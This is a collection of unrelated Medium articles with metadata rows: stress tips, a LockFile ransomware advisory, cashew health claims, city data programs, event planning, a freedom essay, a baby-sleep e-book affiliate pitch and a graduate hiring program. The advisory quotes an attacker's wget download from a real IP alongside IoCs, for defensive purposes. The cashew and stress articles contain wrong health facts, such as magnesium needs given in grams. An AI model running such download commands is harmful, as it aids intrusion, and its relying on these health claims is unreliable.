It is important to first identify the main causes of stress in our lives. Once this is identified, we can take appropriate action to address stressful situations.
Some of the common symptoms of depression are anxiety, hopelessness, constant tiredness, frequent headaches, increased smoking and alcohol habits, other unhealthy habits, unexpected loss or weight gain, restless sleep. When these habits get too much it takes us to the hospital, where complete rest and medications are prescribed to normalize our physical condition. Research has shown that stress reduces our life expectancy.
Therefore, proper diet and exercise are essential to control this stress.
Avoid getting nervous to reduce our Stress.
If we are not exposed to stressful situations, stress is not always possible, and one of the ways most experts recommend stress relief is to ease the tension and bring the stress level under adequate control while doing so. Here are some tips on how to reduce tension and stress:
Relaxation — The individual should explore different ways to relax both body and mind. These ways should be easy and adaptable to the situation at that time. Some forms of relaxation can be done in a longer and more relaxed environment, while we sometimes find it very necessary to relax in order to express a calm mood, especially to deal with any stressful situation.
Restful sleep — This is considered to be the most important thing in a person’s lifestyle. A quit of rest will lead to giving enough refreshment to the body and its various systems. It also helps us to avoid unnecessary outward thoughts and stress when we are at rest.
Here are some ways to keep your mind always calm:
Meditation is one of the best ways to calm our mind, this method will help us to always take a very calm and very thoughtful process. When various aspects of our endeavor do not function as desired we become depressed. It makes us panic, which is always a big stressful aspect, from which we need to calm our mind, even though calming our mind is really very challenging, we can achieve some control by paying more attention. And we need to be stimulated to adjust the body to the best thought processes of our mind and to get rid of the problem completely. Meditation is a very helpful way for this.
How to Reduce Stress at Work:
Stress is usually caused by depression, stress can be avoided in the individual’s workplace daily routine life when addressing the underlying causes of stress and changing stressful situations.
Drinking coffee: Most people are not aware of the effects of coffee on the body and mind. Coffee helps to elevate any condition into hyperactivity, this coffee flows into your bloodstream and causes overstimulation of adrenaline in your body, thus making the brain more refreshed.
Organizing Your Work — This is another popular piece of advice given to people who are depressed. When you combine the daily tasks you need to do with your positive thinking and contribution to the daily schedule with full understanding, you can finish them easily, thus reducing your stress. And when it is implemented as a daily practice, your quality of life will definitely be much better.
Taking short breaks often — Taking short breaks often from your work can help keep stress under control. Whenever the individual feels a little stressed, it can help to forget for a few minutes and focus again after gaining energy. Getting fresh air can work wonders on the body and mind.
How to Reduce Stress in your Home:
The home environment can usually feel like a battlefield because there are people of different ages under the same roof and there are so many needs that need to be met and addressed. By thinking a little and taking the right practices, also everyone involved can reduce their stress levels.
Taking small-time for relaxation on a busy day can be either way. Routine Meditation, prayer, light exercises, deep breathing exercises will all refresh your mind and body to deal with the problems of the house in advance.
Taking small-time for a little exercise before you start each day, will help your body and mind cope with the onslaught of the day. This includes managing household issues. This good start can help you to avoid stress at home because it is refreshing and invigorating.
How to Reduce Stress in your Relationship:
A good amount of problems in a relationship can be easily solved by understanding the key issues and try to solve them.
When the major problems in our relationship go unresolved and left unmanaged, it can lead to stress and also can lead to a very unpleasant and harmful situation.
Both parties need to be aware of the fact that it is not always possible to change another person on the same day. Accepting is the first step in managing the relationship without adding stress to your worries. Instead of trying to make a difference, the existing situation is much easier to deal with and of course, it will be less stressful. It is certainly easier for us to try to change ourselves than to try to change someone else.
Here are some Secrets to controlling your Anger:
The stress you experience often leads to unexpected anger, especially when the underlying issues are not resolved. Your anger can sometimes be very unexpected, it can be an expression of violence, which can definitely be very damaging.
It is best to learn the art of controlling your tongue because you should think deeply before expressing anything verbally, your words will be better expressed, thus avoiding anger and awkward situations that may befall you and others.
Setting aside sometimes can be very helpful in controlling the chance of expressing a wave of anger. It will help us to relax for a moment and gather our thoughts. One of the best ways to control your anger is to stay away from situations that cause anger and focus on something else temporarily until the anger subsides. Also coming up with solutions rather than focusing on the problem can also be another way to avoid our anger.
Conclusion:
Some of us are in a hurry to know and plan our future, thus inevitably becoming depressed, because of the same they are unable to enjoy what they have presently, but it becomes inevitable when we constantly strive for better and bigger things.
This lifestyle usually causes you to be constantly anxious and stressed as the mind and body cannot make a complete break.
When you make a solid decision not to worry about the allotted time limit to complete the work given to you, it gives you the freedom and thus avoiding stress, since these unnecessary worries will break your self-confidence.
Another way to stop your stress is to avoid these anxious thoughts and turn them into other activities that are your favorite, in which positive sentences and positive thoughts recur. Finally, believe that you can do and avoid worrying unnecessarily.
Thanks! | https://medium.com/@tamilinspired/steps-to-a-stress-free-life-43de8c6c0bab | ['Tamil Inspired'] | 2021-01-21 13:56:14.980000+00:00 | ['Motivation', 'Happy', 'Stress Relief', 'Stress', 'Life'] |
How does The New LockFile Ransomware Compromise the Domain Controller? And, How You Should Protect? | How does The New LockFile Ransomware Compromise the Domain Controller? And, How You Should Protect? Thesecmasterblog Aug 23·4 min read
Researchers have observed new ransomware dubbed as “LockFile ransomware” targetting Unpatched Microsoft Exchange servers. Threat actors will gain access to the Victim’s network through Microsoft exchange servers by exploiting the three chained Microsoft Exchange vulnerabilities tracked as CVE-2021–34473, CVE-2021–34523, and CVE-2021–31207. After exploiting the Exchange server, threat actors use PetitPotam vulnerability to take over Windows domains and encrypt the compromised systems. Successful exploitation of these vulnerabilities results in unauthenticated Remote Code execution. It’s important to know how does LockFile ransomware compromises the domain controller and how to protect exchange servers from the new LockFile ransomware.
Victims of the New LockFile Ransomware
This new LockFile ransomware has compromised at least more than 10 businesses in the ongoing campaign. The campaign didn’t keep a specific target at the time of writing this post. However, it seems to be targeting victims in various sectors around the globe: manufacturing, engineering, business services, legal, financial services, travel, and tourism sectors.
When was theNew LockFile Ransomware Seen?
LockFile ransomware is one of the newly found malware. It was first seen on July 20, 2021, on the network of a U.S. Its first action was recorded as recently as August 20. However, Comprehensive analysis is still underway. We will come to know more and more about ransomware as we progress in analysis. You can track the updates here.
The LockFile ransom note:
Like other ransomware, LockFile leaves a ransom note with standard instructions and contact information to the Victim.
How does the New LockFile Ransomware Compromise the Victim?
In the previous sections, we have seen about the new LockFilw ransomware and its victims. In this section, we will see how does LockFile Ransomware Compromise the Victim.
The initial attack vector is still unknown. However, researchers suspected that threat actors might have use proxyshell chain vulnerabilities tracked as CVE-2021–34473, CVE-2021–34523, and CVE-2021–31207 were used to compromise the exchange servers. Once the actor compromises the exchange, he runs wget commands on the PowerShell to download some unknown files from the IP address 209.14.0[.]234. > wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH Typically, before 20 to 30 minutes of installing ransomware, the actor installs a set of tools’ efspotato.exe’, an exploit for the CVE-2021–36942 vulnerability, active_desktop_render.dll, and active_desktop_launcher.exe on the compromised exchange server. The actor use active_desktop_launcher.exe, a legitimate version of KuGou Active Desktop file to load the active_desktop_render.dll file. The active_desktop_render.dll then decrypt a file in the local directory called ‘desktop.ini,’ which is a shellcode. Further analysis is yet to be done to reveal more information about ‘desktop.ini.’ Shellcode inside the desktop.ini file activates the efspotato.exe file, which has an exploit for the PetitPotam NTLM relay attack. After the successful exploitation of the PetitPotam vulnerability on local domain controllers, The actor will copy the LockFile ransomware file with a batch file and supporting executables on the compromised domain controllers under the ‘sysvol\domain\scripts’ directory. Files inside the ‘sysvol’ directory: Autologin.bat Autologin.exe Autologin.dll Autologin.sys Autoupdate.exe The LockFile ransomware will copy the batch scripts and other executables inside the “sysvol\domain\scripts” directory to the clients when they try authenticating with the domain controller.
How You Should Protect Domain Controllers from The New LockFile Ransomware?
It is recommended to keep the operating system updated to the current released patch level. Since LockFile ransomware targets the Victim using the Microsoft Exchange ProxyShell vulnerabilities and the Windows PetitPotam NTLM Relay vulnerability. Check for the presence of attack indicators in your network and deploy detection rules at the network and endpoint levels. Block IOC’s as mentioned in this advisory. Keep Anti-malware solutions at the endpoint and network-level updated at all times. Deploy Endpoint Detection & Response (EDR) tools to detect the latest malware and suspicious activities on endpoints.
Indicators of Compromise (IoC) of the New LockFile Ransomware:
IP address: 209.14.0.234
File hashes Description
ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291
active_desktop_render.dll
cafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915
autoupdate.exe
36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9
autologin.sys
5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f
autologin.exe
1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75
autologin.dll
2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a
autoupdate.exe
7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd
efspotato.exe
c020d16902bd5405d57ee4973eb25797087086e4f8079fac0fd8420c716ad153
active_desktop_render.dll
a926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0
autoupdate.exe
368756bbcaba9563e1eef2ed2ce59046fb8e69fb305d50a6232b62690d33f690
autologin.sys
d030d11482380ebf95aea030f308ac0e1cd091c673c7846c61c625bdf11e5c3a
autoupdate.exe
a0066b855dc93cf88f29158c9ffbbdca886a5d6642cbcb9e71e5c759ffe147f8
autoupdate.exe
Thanks for reading this threat post. Please make sure you are protected from the new LockFile ransomware and share this poet to protect others.
Read more such interesting articles on www.thesecmaster.com. | https://medium.com/@thesecmasterblog/how-does-the-new-lockfile-ransomware-compromise-the-domain-controller-and-how-you-should-protect-95d3207d986a | [] | 2021-08-23 12:37:38.503000+00:00 | ['Windows', 'Cloud', 'Application Security', 'Cyberattack', 'Cybersecurity'] |
Cashew Nuts- Incredible Health Benefits of Cashew Nuts | Heart Care Benefits of eating cashew Nuts 4 days a week!
Cashews are high in protein, healthy fats, fibre, carbohydrates, magnesium, zinc, vitamin K, B6, and a variety of other nutrients which is important for a healthy life.
All legumes offer many important benefits in physical health. Cashew is the most popular of these. Cashew nuts, native to Brazil, are often used in the cuisine of the rich in India. From paneer and mutton to creamy chicken. Cashew gives all foods its unique flavor and delicate texture. Sweets, creamy foods and sometimes even breads have a different taste when eaten with cashew nuts.
Essential for healthy life
But due to the many myths that have been published that weight gain and and the impact of heart disease will increase people avoid their daily cashews. Cashews, on the other hand, are high in protein, healthy fats, fibre, carbohydrates, magnesium, zinc, vitamin K, B6, and a variety of other nutrients.
Top 5 Health Benefits of Cashew Nuts:
There are two types of fat in the human body, good and bad. The good fats are associated with a lower risk of heart disease, but the bad fats increase the risk of chronic conditions. Cashews are high in healthy unsaturated fats, which have been shown to reduce the risk of heart disease, cancer and respiratory problems.
Lowering Risk of Heart Attack
A few cashew nuts — unsalted and oil free combined with maximum benefits for heart health. According to a study published in the British Journal of Nutrition, people who eat cashews more than four times a week have a 37% lower risk of heart disease.
Youthful Life
Cashews, which are rich in copper and antioxidants, help keep your skin glowing and radiant at all times. The anti-oxidants in it are associated with the symptoms of aging and reduce the risk of anemia.
Study Report
According to a study published in the journal Nutrition, published in 2017, the protein and fiber in cashews improve digestive health and reduce hunger.
Fiber
Cashew nuts are high in fiber; Therefore, they release glucose slowly and then into the bloodstream. Thus not increasing blood sugar levels. Thus it is beneficial for diabetics to consume a handful of each day.
Cashew nuts Health benefits
The magnesium content in cashew nuts is linked to better functioning of the nervous system and bone health. Although it is associated with high blood pressure, consuming low levels of cashew nuts can prevent body aches, migraines and improve nerve health.
Benefits of eating a little cashew Nuts every day !!!
Do you know about the rich benefits of cashews added for flavor? Yes, there are numerous benefits to eating cashews.
Eat cashew nuts as Snacks
Cashews can also be taken during snacks. At that level cashews are rich in unspeakable nutrients. It is rich in nutrients that increase the body’s metabolism and prevent heart disease.
Health benefits of eating Cashew nuts
Well, now let’s see what are the benefits of eating cashews. Read it and find out. In particular, do not eat salted cashews. If eaten like that, it will have the opposite effect as it is for the benefits given below.
Healthy heart
Cashews are high in good fats. It also reduces bad fats in the body and keeps the heart healthy. Many people think that it is better to avoid fatty foods altogether. But that is completely wrong. Fats are very essential for the body. Cashews are rich in such good fats, so consuming them can help maintain heart health.
Nerve health
Because magnesium is on the surface of bones, it prevents calcium from entering nerve cells and relaxes blood vessels and muscles. When the level of magnesium in the body is low, calcium will go into the blood vessels and cause the blood vessels to constrict. This can cause high blood pressure and migraines.
Strong bones
Like calcium, magnesium is essential for bone health. Our body needs 300–750 grams of magnesium per day. This is because magnesium helps bones absorb calcium.
Keeps blood pressure under control
Cashews are low in sodium and high in potassium, which helps control blood pressure. So if you want to control your blood pressure, consume a little bit of cashew every day.
Preventing the risk of cancer
Cashews are high in the flavonols and antioxidants selenium and vitamin E, which are proanthocyanidins. These inhibit the growth of cancer cells, prevent cancer and boost the immune system. (Continued)
To Read More / Full article / Remaining part/ Please Visit: https://zameela.com/cashew-nuts-incredible-health-benefits-of-cashew-nuts/ | https://medium.com/@zameelashahul/cashew-nuts-incredible-health-benefits-of-cashew-nuts-4685f6ce5729 | ['Shahul Hameed'] | 2021-12-12 05:26:03.013000+00:00 | ['Weight Loss', 'Bone Health', 'Diabetes', 'Cashew Nuts', 'Benefits Of Cashew Nut'] |
Sprinting to a Well-Managed City | An Email Trial in Cambridge, MA
Developed and facilitated by the Behavioral Insights Team (BIT), a What Works Cities expert partner, the six-week-long Trial ‘in a Box’ Sprint was designed to provide cities with the methods and step-by-step information on how to run a randomized trial to test a re-designed email communication and to ensure that cities that successfully completed the Sprint would achieve three foundational data practices.
Dan Riviello, the City of Cambridge’s 311 Project Manager, and his team joined two other cities and BIT in this inaugural Sprint to address a challenge specific to their city. As a way to provide timely communication to its residents and keep them informed of important city matters, Cambridge had been emailing a newsletter to 3,800+ residents and city staff each week. With crucial information in each message, the city had long prioritized increasing recipient engagement with the newsletter email, but continued to struggle with low engagement rates with the embedded surveys in the newsletters. The Cambridge team also wanted feedback from their residents to know if the content they were presenting in the emails were useful and if there was additional information they could include that residents would like to see.
Cambridge’s weekly email newsletter for residents
Through the Trial ‘in a Box’ Sprint, Cambridge worked with BIT to design, implement, and analyze results for an email trial focused on increasing open rates for the email and completion rates for the embedded survey. They sent their redesigned emails and found that compared with the standard “CityView Weekly” with the date in the subject line, emails with a behaviorally informed call to action in the subject line, “What Would YOU Like to See from CityView Weekly?” doubled the survey completion rate on average — a result that allowed Cambridge to gather valuable information and produce a weekly email that better served the needs of their residents.
Communicating Progress in Walnut Creek, CA
In the Comms for Cities Sprint, cities worked with communications experts at Results for America (RFA), another What Works Cities expert partner, over the course of four weeks to build their local government’s capacity to use data and evidence to publicly communicate the impact of their city’s programs. The specific goal of this Sprint was for participants to begin using communications as a tool to build trust between the city and its residents, including taking concrete steps to communicate ongoing progress, as well as a city’s successes.
After joining Comms for Cities, Jessica Cole, Head of Innovation and Economic Development for the City of Walnut Creek, began exploring ways to communicate with Walnut Creek residents about the city’s data-driven decisions. She found a compelling example in a particular piece of work that the city was already doing to collect data and track progress for a homeless outreach program that the city had been piloting in coordination with the Walnut Creek Police Department.
Walnut Creek, like many cities across the country, had been seeing an increase in the number of people in their community experiencing homelessness over the past few years. As one of the many ways that the city worked to better serve their homeless population, they began the Homeless Outreach Program (HOP) in June 2019 as a three-month pilot program where calls made to the police regarding issues related to homelessness were directed to two officers, instead of distributing the responses broadly across the police department.
HOP’s intention was for these two officers to proactively develop relationships with individuals who were homeless or transient, as well as with the community members calling in concerns and those providing services to the homeless. The city believed these efforts would allow them to better connect members of their homeless community with the response, support, and services needed.
Over time, the city expects that these efforts will lead to a difference in either the volume of calls for service or the total number of people in need of homeless services locally. To that end, the city has been working with multiple city agencies and tracking data from various sources to develop a more accurate and complete picture of HOP’s efforts and progress, and has decided to extend the pilot from the initial three months through the end of 2019.
The Comms for Cities Sprint taught participants the importance of publicly communicating progress towards the strategic goals that the city has set, along with specific ways of doing so. With that in mind, Cole brought HOP’s work to the city’s Communications team’s attention, and Walnut Creek has since worked toward communicating with residents how this pilot program is progressing by actively sharing their story through local media and communicating directly from city hall about the work and the impact the pilot has made thus far — for example, through public presentations made at City Council and Public Safety Committee meetings, as well as social media posts from Walnut Creek’s accounts that were in turn picked up by local online and news outlets. The city is now communicating how the city plans to extend this pilot program through next year based on its success. | https://medium.com/@whatworkscities/sprinting-to-a-well-managed-city-6aa92ef4a6f8 | ['What Works Cities'] | 2019-11-14 22:09:42.348000+00:00 | ['Local Government', 'Cities', 'Experiment', 'Criminal Justice Reform', 'Communication'] |
What is the difference between Event Planning & Event Management? | Have you ever wondered as an event professional whether you are planning or managing an event? Is there even a difference between the two? If so, what is the difference?
Well, first of all, the answer to all of the above questions is, YES!. Event planning and event management are 2 different things. By understanding the processes that are involved in the two is how we’ll understand the difference between both the concepts.
“ Plan before you can manage”.
In simple words, planning comes before managing, events.”
So, what is Event Planning?
Event planning is a pre-event planning process within overall event management activities that includes budgeting, establishing timelines, selecting and reserving the event sites, acquiring permits, planning food, coordinating transportation, developing a theme, arranging for activities, selecting speakers and keynotes, arranging for equipment and facilities, managing risk, and developing contingency plans.
What is Event Management?
Event management, within the scope of MICE events, is a process of organizing and executing meetings with a planned agenda where people or professionals interact with each other and successfully exchange, knowledge, experience or a solution for any particular challenge.
Let’s first understand what is it to plan an event?
Decide Event Theme & Objective:
This is the heart of your event, event profs cannot afford a lack of clarity on this. To get this started event marketers or event organizers must try this. Take a pen & paper and write down answers to the questions below.
- Who is this event for?
- What is/ are objective/s of this event?
- How much investment is needed for successfully conducting the event?
- What will be the form of this investment? Time, money, talent or others.
- What KPI will you track for measuring the event’s RoI?
2. Plan & allocate budget:
Different events have different needs and hence budget allocation is a function of the type/purpose of your event. Planning this is the second big step.
However, if you still need to generalize this for most event types, one must consider these areas to set aside a certain amount.
Venue Cost
Software & Tech
Catering & Food budget
Transportation & Logistics
Marketing budget
A/V budget
Production costs
3. Set Timelines:
Plan the timing of your event is imperative. A simple analogy would be that of releasing a feature film. Any delay in the process could cost a bomb.
Try to get answers to these questions to keep it simple.
When should the event be held? (You don’t want to coincide it with a major festival or other significant events to divide your visitorship)
When should you start your marketing campaigns? ( Too early or too late both will result in more spends and fewer returns)
When should your registration start and when should it end?
What should be your vendor delivery timelines and SLAs?
A lapse in timing can lead to a significant impact on the success of your event.
4. Finding event sponsors & partners
Sponsors and partners are important to plan, most events where the goal of the event and that of sponsors find strong synergy are instantly funded, additionally, they have a strong association demand.
The next step is to manage the six aspects of an event; awareness, promotion, ground operations, attendee management, engagement & experience and finally the event success parameters.
Managing an Event:
Let us take a look at the six core aspects of managing every conference, business meet or any other.
Event Awareness
We have an event coming up, come join us. Well, not exactly how you’d spread awareness about your event.
We all know that the world is now more active online, so having an SEO optimized event website is a no brainer.
A good event website works as a trailer to your actual events, with feature videos, image gallery, session information, attendee profile, and speaker list. In an event website, you have a medium to showcase the value your event has to offer.
Take inspiration from these amazing event websites if you are working on one.
Next comes, working on your Event SEO. Yes, if you want Google to rank your event at the top and let people know about it, you need to work on optimizing the event website for better search results. Here is a comprehensive article explaining how to execute event SEO, by SEJ.
Promotion & Marketing
You need a full house and for that, you must market your event’s value and sell out all the seats and so, this is exactly how you must work your marketing & promotions game.
To Market, your Event’s value, work on:
a. Communication: In-line with the event’s objective, clear Call-to-Actions (Register, Refer, Buy, Book or RSVP).
b. Choose Marketing Channels as per your attendees’ demographics.
Example:
LinkedIn Ads might be a better option to promote a technology conference than Instagram Ads.
Having Billboard and Newspaper ads might just suit the best when you expect most of your audience to be from the same city or region.
c. Ticketing & Registration strategy: Ever bought those tickets that are on an “early bird” sale? Well, that is the best example of a promotional strategy. There are a plethora of schemes that one might plan to sell out their event tickets. Some trending promotional ideas are Group discounts, Coupons vouchers, affiliation discounts, and membership privileges, etc.
Executing this could at times seem intimidating but there are tech solutions available in the market that does this for you. Hubilo’s Event ticketing & registrations do this for some of the world’s biggest events.
d. Get your event listed:
Portals like 10times allow event lists for free and have one of the largest subscribers bases. Listing events on such a global or regional portal works best for any open event as they provide larger visibility to the event.
e. Email & SMS:
Email and SMS are perhaps the oldest promotional tactic, yet most effective unless underused. Here is how event professionals must use Email & SMS for event management.
– Set-up Promotional Emails & SMS campaign
– Make separate marketing campaigns by attendee categories
– Draft multiple email copies. Keep your message crisp and clear
Email & SMS with event information and why to buy tickets Email & SMS about the previous event experience Email on visitors & speaker profile An email with special promotional offers, if any
f. Keep your attendees well informed about the venue, how to reach, reporting time & schedule, etc.
On-Ground Operations
The most challenging part about managing an event is ground operations. Let us see, what are some challenging on-site event operations?
1. Event Production:
The most stressful coordination for any event is the production part. It is imperative that your team has people who are great with project management. Managing event production is clearly how good a project manager you have.
Here is a sample track sheet to manage your event’s production.
Basic Tracksheet Template for Event Production. Download this file.
2. Queue Management/ Attendee Management:
The second most stressful job is to manage live attendees as they start to show up at your event.
One of the best practices we’ve seen so far was by one of our enterprise clients. Here is what they did:
Created Multi-category registrations and provided in-App destination guidance to the registration/ entry booth. They utilized multiple venue gates for their entry to avoid congestion Used QR-code based Mobile Check-in via a Mobile Check-in App The venue had clear direction signages separated by color codes.
3. Badge-printing:
Ahh! By far the most vulnerable part of ground operations in an event. Badge printing in most events these days makes us of 2 things; first — a badge printing software and second — badge printer.
Why not get them printed in advance? Well, for smaller or close group events this is the best part. However, for events where registrations are open till a day before the event or have on-spot registrations, having badge-printing solutions can ease a lot of your struggles.
Make sure to get your software and printing device their prerequisites i.e. stable electricity and good internet speed.
4. Event Engagement and Networking
Your event’s attendees come to your event for a reason, that is, the find value in attending it. So, why then their physical presence is required? You could have hosted a webinar, Web-meet or a Web-ference instead?
Your attendees are after all humans who value interactions, networking or engagement. People often visit events to explore the unknown opportunities they might discover upon visiting. Whatever the case might be as an event professional you must focus on the event’s Engagement & Networking” part.
So, how to ensure the best event engagement & networking experience? Such that it elevates the overall experience of your event attendees?
As an event planner, you must ask yourself these questions and answer to those will be how exactly can you manage the most important aspect of any event.
How do you encourage networking at events?
In order to encourage networking at your event, you must facilitate the below points to your event attendees.
Send out Emails campaigns with relevant attendees profiles and book a meeting link.
Make the list of fellow attendees accessible to either all or selected people.
Let the attendees send and receive meeting requests, chat online without sharing their numbers.
Set-up meeting booths for attendees to meet and have a conversation
Create section/categories filters both on the venue as well as online, making it easy for event attendees to search for relevant people to network.
Build a strong membership community and offer them a good quality of match-making concierge services.
A large part of these facilities can be provided by using a networking platform or by having an Event App made especially for your event attendees or for the members of the association.
How do you engage attendees at your event?
Engage the crowd to make them a loyal audience, to do so event planners must give the power in the hands of the visitors. Let them decide what to consume, all as an event professional you must do is to arrange the progression and set-up so that your attendee stays informed. This is how most of our associates, partners, and clients do it.
Inform attendees about Sessions & Speakers via social media, Event App or through on-site concierge services
Stream live videos of influencers on KIOSK or on the Event app.
Create a twitter chat for live events and publish them on your event app
Conduct live polls on your mobile application or on social media platforms
Host Q&A sessions with industry influencers.
Use mobile push notification to keep attendees aware of sessions they have sign-up for.
Develop on-site or on-line games for attendees to participants. Example: EWC hosted by the MISK Global forum.
It is imperative to plan for any or all of the above engagement and networking practices in order to give your events an experience. Attendees remember events via the experience they had, hence, a great experience means great attendee retention and this translates to a successful event. | https://medium.com/hubilo-officil-blog/what-is-the-difference-between-event-planning-event-management-54e79aecc02a | [] | 2020-02-21 08:14:21.302000+00:00 | ['Event Planning', 'Event Marketing', 'Event Management Company', 'Event Professionals', 'Event Management Software'] |
Freedom. Is it even possible? | Is it possible?
There’s Nothing But the Past
Several writers and scientists have made this point, and it’s a biological reality.
It takes time for our perceptions to reach our brains, meaning that whatever we’re experiencing has actually already happened.
I just lit a cigarette, but by the time my mind registered the decision, it had already been made.
Which begs the question whether or not it was a decision at all.
The debate about whether or not we have freewill has persisted for centuries, so for the sake argument, I’m going to dedicate myself to the proposition that we do.
But that doesn’t necessarily mean that we’re free, or that freedom is even possible.
The World
The number one predictor of your socioeconomic status is that of your parents.
If you’re born poor, you’re going to live in a rough neighborhood, go to a bad school, and probably won’t be able to afford to go to college.
Assuming you get a loan, you’ll be carrying that debt for years, or maybe even decades.
And perhaps most importantly, your expectations are already anchored in poverty.
Anchoring is a cognitive bias that allows the first piece of information we receive to unduly influence us.
For example, I replicated an old study in graduate school wherein the subjects were presented with either a high or low number, then asked a question they were unlikely to know the answer to, like how many bats Mariano Rivera has broken.
The participants were told that the numbers they saw before each question had absolutely nothing to do with any of the answers.
Still, those presented with low numbers made lower guesses, while those presented with high numbers made significantly higher guesses.
Now imagine that first piece of information is your entire childhood, or your most formative years.
Your internal barometer will be set on poverty. Anything else will seem tenuous and unnatural.
Society
All of us are born into a culture that shapes us in ways so pervasive we don’t even notice them.
Even when we travel, or live in other countries, we notice all of the ways that the people there have been shaped by their cultures, but rarely reflect that the same applies to us.
We accept the conditions we do, like the amount we have to work to survive, because we were born into them, while a person from Finland would probably consider most of our situations inhuman.
Do you like your job, your home, or even your partner?
If you won the lottery tomorrow, would you keep any of them?
The more we have to do that we don’t want to, the less free that we are. And if you don’t even like your home or your partner, what’s the point?
Options
We’re free to move to other countries, or even drop out of society entirely, but what kind of freedom is that?
No matter where you moved, you’d still need money, which for most of us would mean finding yet another job that likely isn’t ideal, and depending on the country, learning a second language.
Life might be cheaper or easier, but we would still be tethered to similar obligations, and the effort of making the change typically isn’t worth it. It’s easier to just stay where we are, where we at least have an idea of what life has in store in for us.
If you went off to live in a forest or a cave, you would probably die. And if you did manage to survive, you’d spend most of your time hunting and gathering. You’d bathe and do your laundry in cold rivers or lakes, and have no safety net at all unless you stayed relatively close to civilization.
In short, your life would be even more difficult than it already is.
Conclusion
Some writers and philosophers believe that true freedom is outside of the boundaries of what’s considered to be sane. How can you escape your upbringing and culture and still be anyone resembling a “normal” person?
Most of us equate freedom with money. But if you want money so you can escape from your life, you have to begin to question exactly how free you actually are.
I don’t know what real freedom is, or if it’s even possible, but I do know that most of us could use a little bit more of it.
Quitting my job isn’t an option, but finding one that has more meaning to me is. If I was doing something I felt that mattered, it wouldn’t feel as much like a job.
And again, many of our boundaries are self-imposed from within. We are prisoners of our expectations, positive and negative, and no one is perfect. If you implicitly define yourself as poor or single or miserable, you’re likely to remain that way, but luckily, interactions with our own minds are a two-way street.
I’ve criticized self-help articles for promising the statistically impossible, but having the right mindset can help. If you decide that you are worthy of happiness, fulfillment, and partnership, and start treating yourself that way, you’d at least be giving yourself a fighting chance, which is the only real freedom that any of us have. | https://medium.com/illumination-curated/what-is-freedom-1cde0b7d3f32 | ['Harry Seitz'] | 2020-12-02 09:01:32.242000+00:00 | ['Life', 'Escape', 'Freedom', 'Philosophy', 'Expectations'] |
Baby Sleeps By Elisabeth Dorto Reviews and bonuse | Who is Elisabeth Dorto?
Elisabeth Dorto is a graduate of the State Childcare Assistant. She specializes in early childhood from birth to 12 years old. In her 20+ years of experience, Elisabeth has constantly improved and adapted her techniques and working methods. By drawing on the major phases of a child's development, she has shown that only their well-being and happiness are essential to their development. With common sense mixed with good practices, Elisabteh has enabled thousands of babies to live peacefully while they sleep and grow up happily.
In this article You Will Learn about Baby Sleep Music for Deep Sleeping Baby Sleeps By Elisabeth Dorto Reviews if you’ve got a little one, an infant or just toddlers, and they don’t sleep well at night man that is tough.
Baby Sleeps by Elisabeth Dorto Help your baby sleep peacefully with simple, effective tips that tackle the root of the sleep problem Your baby is crying, and you don’t know why.
Well, there’s a a new e-book out called baby sleeps by elizabeth adored, oh she’s, a pediatrician and it’s available for thirty seven dollars and it’s got a bunch of bonuses, but I I went through it and pulled out some stuff just to make it easy to understand.
Baby Sleeps By Elisabeth Dorto Special Offers
I'm here's one! You want your child to sleep well, according to the american academy of pediatrics, thirty percent of babies have sleep problems at six months and by three years fifty percent baby sleeps was written by a pediatrician who helped thousands of parents get better sleep for their kids at night.
You'll learn what works, what doesn't work and here's some of the things that are in the book or advice. One laugh with your baby advice to regular bedtime, routine advice, three build the calm and soothing environment and um she's, a big believer in white sound. She talks about that and then a couple of reviews.
I was so tired of waking up every night to feed my baby while browsing through the big book store. I picked up the baby. Sleep seems like old fashioned, common sense versus the new fangled ideas that never work. It turned our lives around.
Baby Sleeps By Elisabeth Dorto
After only reading one chapter, my baby started sleeping through the night and here's another review, a five star review. My sister in law told me about the book. She said it helped her a she and her children and are also gave advice on how to deal with them if they cry at night, every single night. Since I'm her a two month old daughter, was born, and this lady said it changed her life forever and then she's got a bunch of bonuses.
So you can see the here's the main book, but my first baby baby colic looks like there there's some videos as well I'm and it's only thirty seven dollars a that gets good. Reviews ah makes a whole lot of sense here. So a you can click on the link below and the and go to this landing page to get more information on it and and, like I said, thirty seven dollars a sixty day, money back guarantee.
So if you decide to buy it, would you buy it through my link on I'll make a small commission doesn't cost you a dime more thanks for taking the time to read this article and have a good day.
Check special offers Today | https://medium.com/@hp15998/baby-sleeps-by-elisabeth-dorto-reviews-and-bonuse-291632ed552 | [] | 2021-09-03 03:55:06.449000+00:00 | ['Baby Sleep Routine', 'Baby Sleep Training', 'Baby', 'Baby Care', 'Baby Sleep'] |
New Grads Crucial to Business Growth | Nova Scotia’s GTO program helps inject new ideas to fill gaps in businesses
A Dartmouth-based marine electronics company is building a strong and reliable reputation, thanks to the talented young technicians who serve their clients across the province every day.
Many of those techs are recent graduates.
“The grads we hire are flourishing and it has been fantastic for business,” says Ashley Collins, Human Resources Manager, Atlantic Electronics. “They are demonstrating a keen interest in marine electronics and strong leadership qualities that will help them grow in the company.”
Atlantic Electronics recently hired three Nova Scotia Community College (NSCC) grads straight out of the electronics program: Boris Spacek, Timothy Charles and Zachary Semchuk.
“A lot of senior staff have retired from the company, so these new hires are crucial to the continuation and growth of our work,” says Collins.
“I am able to pick up knowledge and expertise from senior technicians, while using my recent education at the same time,” says Charles, who works in the Yarmouth area. “The Graduate to Opportunity program helped me get a foot in the door and make this career a reality.”
Graduate to Opportunity (GTO) lowers the cost of hiring a recent graduate for start-ups, small businesses of under 100 full-time employees, non-profits and social enterprises.
Employers receive 25% of a grad’s first year salary (35% if the grad is from a designated diverse group) and 12.5% of a grad’s second year salary.
“There is a big learning curve in this industry,” Collins says. “The GTO program is great because it gives us that subsidization while we’re training our new technicians. It gives us the opportunity to invest the money right back into our newest employees.”
Spacek grew up in New Brunswick and is now working full-time in Digby.
